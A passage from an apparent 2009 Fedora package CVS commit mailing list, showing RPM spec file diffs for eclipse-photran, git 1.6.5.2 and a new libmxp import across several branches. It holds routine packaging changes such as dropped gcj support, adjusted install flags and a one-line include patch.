+Source1:        makesource.sh
+BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
+
+# Currently, upstream CDT only supports building on the platforms listed here.
+ExclusiveArch: %{ix86} x86_64 ppc ia64
+
 BuildRequires: eclipse-pde >= 1:3.5
 BuildRequires: eclipse-cdt >= 1:6.0
 BuildRequires: eclipse-rse >= 3.1
-%if %{gcj_support}
-BuildRequires:  gcc-java >= 4.0.2
-BuildRequires:  java-gcj-compat-devel >= 1.0.64
-Requires(post):   java-gcj-compat >= 1.0.64
-Requires(postun): java-gcj-compat >= 1.0.64
-%else
-BuildRequires:  java-devel >= 1.4.2
-%endif
-
-Requires:       gdb make gcc-gfortran
-Requires:       eclipse-platform >= 1:3.5.0
+BuildRequires: java-devel >= 1.4.2
 
-# Currently, upstream CDT only supports building on the platforms listed here.
-ExclusiveArch: %{ix86} x86_64 ppc ia64
-BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
+Requires:      eclipse-pde >= 1:3.5
+Requires:      eclipse-cdt >= 1:6.0
+Requires:      eclipse-rse >= 3.1
+Requires:      gdb make gcc-gfortran
 
 
 %description
@@ -91,29 +85,15 @@ do
   rmdir ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}/eclipse
 done
 
-%if %{gcj_support}
-aot-compile-rpm
-%endif
-
 
 %clean 
 rm -rf ${RPM_BUILD_ROOT}
 
 
-%if %{gcj_support}
-%post -p %{_bindir}/rebuild-gcj-db
-
-%postun -p %{_bindir}/rebuild-gcj-db
-%endif
-
-
 %files
 %defattr(-,root,root,-)
 %doc org.eclipse.photran-feature/epl-v10.html
 %{eclipse_base}/dropins/org.eclipse.photran
-%if %{gcj_support}
-%{_libdir}/gcj/%{name}
-%endif
 
 %files intel
 %defattr(-,root,root,-)
@@ -125,6 +105,11 @@ rm -rf ${RPM_BUILD_ROOT}
 
 
 %changelog
+* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.2.200910081739
+- Cleanup spec headers
+- Drop gcj support
+- Add needed Requires
+
 * Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.1.200910081739
 - Update to 5.0.0 pre-release 200910081739
 - Drop outline patch fixed upstream



From orion at fedoraproject.org  Fri Oct 30 22:33:15 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 22:33:15 +0000 (UTC)
Subject: rpms/eclipse-photran/F-12 eclipse-photran.spec,1.11,1.12
Message-ID: <20091030223315.9BE9E11C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/eclipse-photran/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20406

Modified Files:
	eclipse-photran.spec 
Log Message:
* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.2.200910081739
- Cleanup spec headers
- Drop gcj support
- Add needed Requires



Index: eclipse-photran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/F-12/eclipse-photran.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- eclipse-photran.spec	14 Oct 2009 16:06:19 -0000	1.11
+++ eclipse-photran.spec	30 Oct 2009 22:33:13 -0000	1.12
@@ -1,40 +1,34 @@
-%define gcj_support             1
 %define major                   5
 %define minor                   0       
 %define patch                   0       
 %define majmin                  %{major}.%{minor}
 %define eclipse_base            %{_libdir}/eclipse
 
-Summary:        Eclipse Fortran Development Tools (Photran) plugin
 Name:           eclipse-photran
 Version:        %{majmin}.%{patch}
-Release:        0.1.200910081739%{?dist}
-License:        EPL
+Release:        0.2.200910081739%{?dist}
+Summary:        Eclipse Fortran Development Tools (Photran) plugin
+
 Group:          Development/Tools
+License:        EPL
 URL:            http://www.eclipse.org/photran
-Requires:       eclipse-platform
-
 # The following tarball was generated by the makesource.sh script
-Source0: photran-v200910081739.tar.gz
-Source1: makesource.sh
+Source0:        photran-v200910081739.tar.gz
+Source1:        makesource.sh
+BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
+
+# Currently, upstream CDT only supports building on the platforms listed here.
+ExclusiveArch: %{ix86} x86_64 ppc ia64
+
 BuildRequires: eclipse-pde >= 1:3.5
 BuildRequires: eclipse-cdt >= 1:6.0
 BuildRequires: eclipse-rse >= 3.1
-%if %{gcj_support}
-BuildRequires:  gcc-java >= 4.0.2
-BuildRequires:  java-gcj-compat-devel >= 1.0.64
-Requires(post):   java-gcj-compat >= 1.0.64
-Requires(postun): java-gcj-compat >= 1.0.64
-%else
-BuildRequires:  java-devel >= 1.4.2
-%endif
-
-Requires:       gdb make gcc-gfortran
-Requires:       eclipse-platform >= 1:3.5.0
+BuildRequires: java-devel >= 1.4.2
 
-# Currently, upstream CDT only supports building on the platforms listed here.
-ExclusiveArch: %{ix86} x86_64 ppc ia64
-BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
+Requires:      eclipse-pde >= 1:3.5
+Requires:      eclipse-cdt >= 1:6.0
+Requires:      eclipse-rse >= 3.1
+Requires:      gdb make gcc-gfortran
 
 
 %description
@@ -91,29 +85,15 @@ do
   rmdir ${RPM_BUILD_ROOT}%{eclipse_base}/dropins/${feature}/eclipse
 done
 
-%if %{gcj_support}
-aot-compile-rpm
-%endif
-
 
 %clean 
 rm -rf ${RPM_BUILD_ROOT}
 
 
-%if %{gcj_support}
-%post -p %{_bindir}/rebuild-gcj-db
-
-%postun -p %{_bindir}/rebuild-gcj-db
-%endif
-
-
 %files
 %defattr(-,root,root,-)
 %doc org.eclipse.photran-feature/epl-v10.html
 %{eclipse_base}/dropins/org.eclipse.photran
-%if %{gcj_support}
-%{_libdir}/gcj/%{name}
-%endif
 
 %files intel
 %defattr(-,root,root,-)
@@ -125,6 +105,11 @@ rm -rf ${RPM_BUILD_ROOT}
 
 
 %changelog
+* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.2.200910081739
+- Cleanup spec headers
+- Drop gcj support
+- Add needed Requires
+
 * Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.1.200910081739
 - Update to 5.0.0 pre-release 200910081739
 - Drop outline patch fixed upstream



From orion at fedoraproject.org  Fri Oct 30 22:38:01 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 22:38:01 +0000 (UTC)
Subject: rpms/eclipse-photran/devel eclipse-photran.spec,1.12,1.13
Message-ID: <20091030223801.A44EA11C00EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/eclipse-photran/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21331/devel

Modified Files:
	eclipse-photran.spec 
Log Message:
Don't need to require eclipse-pde



Index: eclipse-photran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/devel/eclipse-photran.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- eclipse-photran.spec	30 Oct 2009 22:28:57 -0000	1.12
+++ eclipse-photran.spec	30 Oct 2009 22:38:01 -0000	1.13
@@ -25,7 +25,6 @@ BuildRequires: eclipse-cdt >= 1:6.0
 BuildRequires: eclipse-rse >= 3.1
 BuildRequires: java-devel >= 1.4.2
 
-Requires:      eclipse-pde >= 1:3.5
 Requires:      eclipse-cdt >= 1:6.0
 Requires:      eclipse-rse >= 3.1
 Requires:      gdb make gcc-gfortran



From orion at fedoraproject.org  Fri Oct 30 22:38:01 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 22:38:01 +0000 (UTC)
Subject: rpms/eclipse-photran/F-12 eclipse-photran.spec,1.12,1.13
Message-ID: <20091030223801.A053511C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/eclipse-photran/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21331/F-12

Modified Files:
	eclipse-photran.spec 
Log Message:
Don't need to require eclipse-pde



Index: eclipse-photran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/F-12/eclipse-photran.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- eclipse-photran.spec	30 Oct 2009 22:33:13 -0000	1.12
+++ eclipse-photran.spec	30 Oct 2009 22:38:00 -0000	1.13
@@ -25,7 +25,6 @@ BuildRequires: eclipse-cdt >= 1:6.0
 BuildRequires: eclipse-rse >= 3.1
 BuildRequires: java-devel >= 1.4.2
 
-Requires:      eclipse-pde >= 1:3.5
 Requires:      eclipse-cdt >= 1:6.0
 Requires:      eclipse-rse >= 3.1
 Requires:      gdb make gcc-gfortran



From tmz at fedoraproject.org  Sat Oct 31 01:44:29 2009
From: tmz at fedoraproject.org (Todd M. Zullinger)
Date: Sat, 31 Oct 2009 01:44:29 +0000 (UTC)
Subject: rpms/git/devel .cvsignore, 1.84, 1.85 git.spec, 1.98, 1.99 sources, 
	1.84, 1.85
Message-ID: <20091031014429.397E311C00E8@cvs1.fedora.phx.redhat.com>

Author: tmz

Update of /cvs/pkgs/rpms/git/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6639

Modified Files:
	.cvsignore git.spec sources 
Log Message:
Update to git-1.6.5.2
    
- Drop asciidoc --unsafe option, it should not be needed anymore
- Don't use install -t/-T, they're not compatible with older coreutils
- Don't use -perm /a+x with find, it's incompatible with older findutils



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/.cvsignore,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- .cvsignore	18 Oct 2009 13:30:26 -0000	1.84
+++ .cvsignore	31 Oct 2009 01:44:28 -0000	1.85
@@ -1 +1 @@
-git-1.6.5.1.tar.bz2
+git-1.6.5.2.tar.bz2


Index: git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/git.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- git.spec	18 Oct 2009 13:30:26 -0000	1.98
+++ git.spec	31 Oct 2009 01:44:28 -0000	1.99
@@ -1,6 +1,6 @@
 # Pass --without docs to rpmbuild if you don't want the documentation
 Name:           git
-Version:        1.6.5.1
+Version:        1.6.5.2
 Release:        1%{?dist}
 Summary:        Fast Version Control System
 License:        GPLv2
@@ -195,7 +195,7 @@ Requires:       git = %{version}-%{relea
 # Otherwise it will rebuild in %%install due to flags changes.
 %define make_git \
 make %{_smp_mflags} V=1 CFLAGS="$RPM_OPT_FLAGS" \\\
-     ASCIIDOC="asciidoc --unsafe" ASCIIDOC8=1 ASCIIDOC_NO_ROFF=1 \\\
+     ASCIIDOC8=1 ASCIIDOC_NO_ROFF=1 \\\
      BLK_SHA1=1 \\\
      ETC_GITCONFIG=%{_sysconfdir}/gitconfig \\\
      DESTDIR=$RPM_BUILD_ROOT \\\
@@ -241,8 +241,8 @@ install -Dpm 644 %{SOURCE1} \
 %endif
 
 mkdir -p $RPM_BUILD_ROOT%{_var}/www/git
-install -pm 644 -t $RPM_BUILD_ROOT%{_var}/www/git gitweb/*.png gitweb/*.css
-install -pm 755 -t $RPM_BUILD_ROOT%{_var}/www/git gitweb/gitweb.cgi
+install -pm 644 gitweb/*.png gitweb/*.css $RPM_BUILD_ROOT%{_var}/www/git
+install -pm 755 gitweb/gitweb.cgi $RPM_BUILD_ROOT%{_var}/www/git
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/httpd/conf.d
 install -pm 0644 %{SOURCE3} $RPM_BUILD_ROOT/%{_sysconfdir}/httpd/conf.d/git.conf
 
@@ -267,7 +267,7 @@ mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/x
 install -pm 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/xinetd.d/git
 
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d
-install -pm 644 -T contrib/completion/git-completion.bash $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d/git
+install -pm 644 contrib/completion/git-completion.bash $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d/git
 
 # Move contrib/hooks out of %%docdir and make them executable
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/git-core/contrib
@@ -289,7 +289,7 @@ chmod g-w $RPM_BUILD_ROOT%{_libexecdir}/
 chmod a-x $RPM_BUILD_ROOT%{_libexecdir}/git-core/git-mergetool--lib
 rm -f {Documentation/technical,contrib/emacs}/.gitignore
 chmod a-x Documentation/technical/api-index.sh
-find contrib -type f -perm /a+x | xargs chmod -x
+find contrib -type f | xargs chmod -x
 
 
 %clean
@@ -387,6 +387,12 @@ rm -rf $RPM_BUILD_ROOT
 # No files for you!
 
 %changelog
+* Mon Oct 26 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5.2-1
+- git-1.6.5.2
+- Drop asciidoc --unsafe option, it should not be needed anymore
+- Don't use install -t/-T, they're not compatible with older coreutils
+- Don't use -perm /a+x with find, it's incompatible with older findutils
+
 * Sat Oct 17 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5.1-1
 - git-1.6.5.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git/devel/sources,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- sources	18 Oct 2009 13:30:26 -0000	1.84
+++ sources	31 Oct 2009 01:44:28 -0000	1.85
@@ -1 +1 @@
-fd784f407d538705ed36c0498542d4f5  git-1.6.5.1.tar.bz2
+99708c449b23433136dbdfa38bd16d80  git-1.6.5.2.tar.bz2



From rrix at fedoraproject.org  Sat Oct 31 01:46:46 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Sat, 31 Oct 2009 01:46:46 +0000 (UTC)
Subject: rpms/libmxp/devel import.log, NONE, 1.1 libmxp-0.2.2-gcc44.patch,
	NONE, 
	1.1 libmxp.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031014646.8C93F11C00E8@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/libmxp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5473/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libmxp-0.2.2-gcc44.patch libmxp.spec 
Log Message:
Initial import of libmxp for devel/ branch



--- NEW FILE import.log ---
libmxp-0_2_2-3_fc11:HEAD:libmxp-0.2.2-3.fc11.src.rpm:1256952735

libmxp-0.2.2-gcc44.patch:
 cmxpstate.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE libmxp-0.2.2-gcc44.patch ---
--- libmxp-0.2.2/src/cmxpstate.cpp      2004-11-23 08:01:47.000000000 -0700
+++ libmxp-0.2.2-fedora/src/cmxpstate.cpp       2009-09-21 23:26:09.363685277 -0700
@@ -25,6 +25,7 @@

 #include <algorithm>
 #include <stdlib.h>
+#include <string.h>

 cMXPState::cMXPState (cResultHandler *resh, cElementManager *elm, cEntityManager *enm)
 {


--- NEW FILE libmxp.spec ---
Name:           libmxp
Version:        0.2.2
Release:        3%{?dist}
Summary:        MUD eXtension protocol library

Group:          System Environment/Libraries
License:        LGPLv2+
URL:            http://www.kmuddy.com/libmxp/
Source0:        http://www.kmuddy.com/libmxp/files/%{name}-%{version}.tar.gz
Patch0:         %{name}-%{version}-gcc44.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

#BuildRequires:  
#Requires:       

%description
The MXP library implements the parser for the MUD eXtension protocol.

%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.

%prep
%setup -q
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.LIB README AUTHORS ChangeLog NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%changelog
* Wed Sep 23 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-3
- fixed changelog and license

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-2
- added documentation

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-1
- initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:59 -0000	1.1
+++ .cvsignore	31 Oct 2009 01:46:15 -0000	1.2
@@ -0,0 +1 @@
+libmxp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:59 -0000	1.1
+++ sources	31 Oct 2009 01:46:46 -0000	1.2
@@ -0,0 +1 @@
+7e68db505f6891b25109eb8f21d180d0  libmxp-0.2.2.tar.gz



From rrix at fedoraproject.org  Sat Oct 31 02:01:03 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Sat, 31 Oct 2009 02:01:03 +0000 (UTC)
Subject: rpms/libmxp/F-12 import.log, NONE, 1.1 libmxp-0.2.2-gcc44.patch,
	NONE, 
	1.1 libmxp.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031020103.4A4A811C0349@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/libmxp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10397/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libmxp-0.2.2-gcc44.patch libmxp.spec 
Log Message:
Initial import into F-11/



--- NEW FILE import.log ---
libmxp-0_2_2-3_fc11:F-12:libmxp-0.2.2-3.fc11.src.rpm:1256954378

libmxp-0.2.2-gcc44.patch:
 cmxpstate.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE libmxp-0.2.2-gcc44.patch ---
--- libmxp-0.2.2/src/cmxpstate.cpp      2004-11-23 08:01:47.000000000 -0700
+++ libmxp-0.2.2-fedora/src/cmxpstate.cpp       2009-09-21 23:26:09.363685277 -0700
@@ -25,6 +25,7 @@

 #include <algorithm>
 #include <stdlib.h>
+#include <string.h>

 cMXPState::cMXPState (cResultHandler *resh, cElementManager *elm, cEntityManager *enm)
 {


--- NEW FILE libmxp.spec ---
Name:           libmxp
Version:        0.2.2
Release:        3%{?dist}
Summary:        MUD eXtension protocol library

Group:          System Environment/Libraries
License:        LGPLv2+
URL:            http://www.kmuddy.com/libmxp/
Source0:        http://www.kmuddy.com/libmxp/files/%{name}-%{version}.tar.gz
Patch0:         %{name}-%{version}-gcc44.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

#BuildRequires:  
#Requires:       

%description
The MXP library implements the parser for the MUD eXtension protocol.

%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.

%prep
%setup -q
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.LIB README AUTHORS ChangeLog NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%changelog
* Wed Sep 23 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-3
- fixed changelog and license

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-2
- added documentation

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-1
- initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:59 -0000	1.1
+++ .cvsignore	31 Oct 2009 02:01:02 -0000	1.2
@@ -0,0 +1 @@
+libmxp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:59 -0000	1.1
+++ sources	31 Oct 2009 02:01:03 -0000	1.2
@@ -0,0 +1 @@
+7e68db505f6891b25109eb8f21d180d0  libmxp-0.2.2.tar.gz



From tmz at fedoraproject.org  Sat Oct 31 02:02:37 2009
From: tmz at fedoraproject.org (Todd M. Zullinger)
Date: Sat, 31 Oct 2009 02:02:37 +0000 (UTC)
Subject: rpms/git/F-12 .cvsignore, 1.84, 1.85 git.spec, 1.98, 1.99 sources, 
	1.84, 1.85
Message-ID: <20091031020237.8D61411C0349@cvs1.fedora.phx.redhat.com>

Author: tmz

Update of /cvs/pkgs/rpms/git/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11207

Modified Files:
	.cvsignore git.spec sources 
Log Message:
Update to git-1.6.5.2
    
- Drop asciidoc --unsafe option, it should not be needed anymore
- Don't use install -t/-T, they're not compatible with older coreutils
- Don't use -perm /a+x with find, it's incompatible with older findutils



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/.cvsignore,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- .cvsignore	18 Oct 2009 13:58:02 -0000	1.84
+++ .cvsignore	31 Oct 2009 02:02:35 -0000	1.85
@@ -1 +1 @@
-git-1.6.5.1.tar.bz2
+git-1.6.5.2.tar.bz2


Index: git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/git.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- git.spec	18 Oct 2009 13:58:02 -0000	1.98
+++ git.spec	31 Oct 2009 02:02:35 -0000	1.99
@@ -1,6 +1,6 @@
 # Pass --without docs to rpmbuild if you don't want the documentation
 Name:           git
-Version:        1.6.5.1
+Version:        1.6.5.2
 Release:        1%{?dist}
 Summary:        Fast Version Control System
 License:        GPLv2
@@ -195,7 +195,7 @@ Requires:       git = %{version}-%{relea
 # Otherwise it will rebuild in %%install due to flags changes.
 %define make_git \
 make %{_smp_mflags} V=1 CFLAGS="$RPM_OPT_FLAGS" \\\
-     ASCIIDOC="asciidoc --unsafe" ASCIIDOC8=1 ASCIIDOC_NO_ROFF=1 \\\
+     ASCIIDOC8=1 ASCIIDOC_NO_ROFF=1 \\\
      BLK_SHA1=1 \\\
      ETC_GITCONFIG=%{_sysconfdir}/gitconfig \\\
      DESTDIR=$RPM_BUILD_ROOT \\\
@@ -241,8 +241,8 @@ install -Dpm 644 %{SOURCE1} \
 %endif
 
 mkdir -p $RPM_BUILD_ROOT%{_var}/www/git
-install -pm 644 -t $RPM_BUILD_ROOT%{_var}/www/git gitweb/*.png gitweb/*.css
-install -pm 755 -t $RPM_BUILD_ROOT%{_var}/www/git gitweb/gitweb.cgi
+install -pm 644 gitweb/*.png gitweb/*.css $RPM_BUILD_ROOT%{_var}/www/git
+install -pm 755 gitweb/gitweb.cgi $RPM_BUILD_ROOT%{_var}/www/git
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/httpd/conf.d
 install -pm 0644 %{SOURCE3} $RPM_BUILD_ROOT/%{_sysconfdir}/httpd/conf.d/git.conf
 
@@ -267,7 +267,7 @@ mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/x
 install -pm 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/xinetd.d/git
 
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d
-install -pm 644 -T contrib/completion/git-completion.bash $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d/git
+install -pm 644 contrib/completion/git-completion.bash $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d/git
 
 # Move contrib/hooks out of %%docdir and make them executable
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/git-core/contrib
@@ -289,7 +289,7 @@ chmod g-w $RPM_BUILD_ROOT%{_libexecdir}/
 chmod a-x $RPM_BUILD_ROOT%{_libexecdir}/git-core/git-mergetool--lib
 rm -f {Documentation/technical,contrib/emacs}/.gitignore
 chmod a-x Documentation/technical/api-index.sh
-find contrib -type f -perm /a+x | xargs chmod -x
+find contrib -type f | xargs chmod -x
 
 
 %clean
@@ -387,6 +387,12 @@ rm -rf $RPM_BUILD_ROOT
 # No files for you!
 
 %changelog
+* Mon Oct 26 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5.2-1
+- git-1.6.5.2
+- Drop asciidoc --unsafe option, it should not be needed anymore
+- Don't use install -t/-T, they're not compatible with older coreutils
+- Don't use -perm /a+x with find, it's incompatible with older findutils
+
 * Sat Oct 17 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5.1-1
 - git-1.6.5.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/sources,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- sources	18 Oct 2009 13:58:02 -0000	1.84
+++ sources	31 Oct 2009 02:02:35 -0000	1.85
@@ -1 +1 @@
-fd784f407d538705ed36c0498542d4f5  git-1.6.5.1.tar.bz2
+99708c449b23433136dbdfa38bd16d80  git-1.6.5.2.tar.bz2



From rrix at fedoraproject.org  Sat Oct 31 03:06:07 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Sat, 31 Oct 2009 03:06:07 +0000 (UTC)
Subject: rpms/libmxp/F-11 import.log, NONE, 1.1 libmxp-0.2.2-gcc44.patch,
	NONE, 
	1.1 libmxp.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091031030607.6C30011C00E8@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/libmxp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24952/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libmxp-0.2.2-gcc44.patch libmxp.spec 
Log Message:
Initial import of libmxp into F-11/



--- NEW FILE import.log ---
libmxp-0_2_2-3_fc11:F-11:libmxp-0.2.2-3.fc11.src.rpm:1256956695

libmxp-0.2.2-gcc44.patch:
 cmxpstate.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE libmxp-0.2.2-gcc44.patch ---
--- libmxp-0.2.2/src/cmxpstate.cpp      2004-11-23 08:01:47.000000000 -0700
+++ libmxp-0.2.2-fedora/src/cmxpstate.cpp       2009-09-21 23:26:09.363685277 -0700
@@ -25,6 +25,7 @@

 #include <algorithm>
 #include <stdlib.h>
+#include <string.h>

 cMXPState::cMXPState (cResultHandler *resh, cElementManager *elm, cEntityManager *enm)
 {


--- NEW FILE libmxp.spec ---
Name:           libmxp
Version:        0.2.2
Release:        3%{?dist}
Summary:        MUD eXtension protocol library

Group:          System Environment/Libraries
License:        LGPLv2+
URL:            http://www.kmuddy.com/libmxp/
Source0:        http://www.kmuddy.com/libmxp/files/%{name}-%{version}.tar.gz
Patch0:         %{name}-%{version}-gcc44.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

#BuildRequires:  
#Requires:       

%description
The MXP library implements the parser for the MUD eXtension protocol.

%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.

%prep
%setup -q
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.LIB README AUTHORS ChangeLog NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so


%changelog
* Wed Sep 23 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-3
- fixed changelog and license

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-2
- added documentation

* Tue Sep 22 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.2.2-1
- initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:59 -0000	1.1
+++ .cvsignore	31 Oct 2009 03:06:05 -0000	1.2
@@ -0,0 +1 @@
+libmxp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libmxp/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
